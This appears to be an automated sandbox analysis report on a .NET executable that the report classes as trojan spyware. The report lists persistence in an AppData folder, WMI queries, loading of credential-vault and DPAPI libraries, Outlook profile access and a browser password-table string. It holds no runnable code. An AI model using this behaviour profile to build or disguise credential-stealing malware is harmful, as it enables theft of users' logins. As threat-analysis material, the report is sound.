Source: gq8sce-clean.com.com.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@4/4

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe

File created: C:\Users\user\AppData\Roaming\OgBoRN

Jump to behavior

Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe

Mutant created: NULL

Source: gq8sce-clean.com.com.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: gq8sce-clean.com.com.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.98%

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: OgBoRN.exe, 00000003.00000002.2401382417.000000000814E000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2401382417.0000000008136000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: gq8sce-clean.com.com.exe	ReversingLabs: Detection: 44%
Source: gq8sce-clean.com.com.exe	Virustotal: Detection: 27%

Source: gq8sce-clean.com.com.exe	String found in binary or memory: $F294ACFC-3146-4483-A7BF-ADDCA7C260E2
Source: gq8sce-clean.com.com.exe	String found in binary or memory: $F294ACFC-3146-4483-A7BF-ADDCA7C260E2)
Source: gq8sce-clean.com.com.exe	String found in binary or memory: $B2A5B5CE-3461-444A-91D4-ADD26D070638
Source: gq8sce-clean.com.com.exe	String found in binary or memory: $B2A5B5CE-3461-444A-91D4-ADD26D0706382

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe

File read: C:\Users\user\Desktop\gq8sce-clean.com.com.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\gq8sce-clean.com.com.exe "C:\Users\user\Desktop\gq8sce-clean.com.com.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe "C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe "C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe"

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: gq8sce-clean.com.com.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: gq8sce-clean.com.com.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: gq8sce-clean.com.com.exe

Static file information: File size 15542784 > 1048576

Source: gq8sce-clean.com.com.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0xed0e00

Source: gq8sce-clean.com.com.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
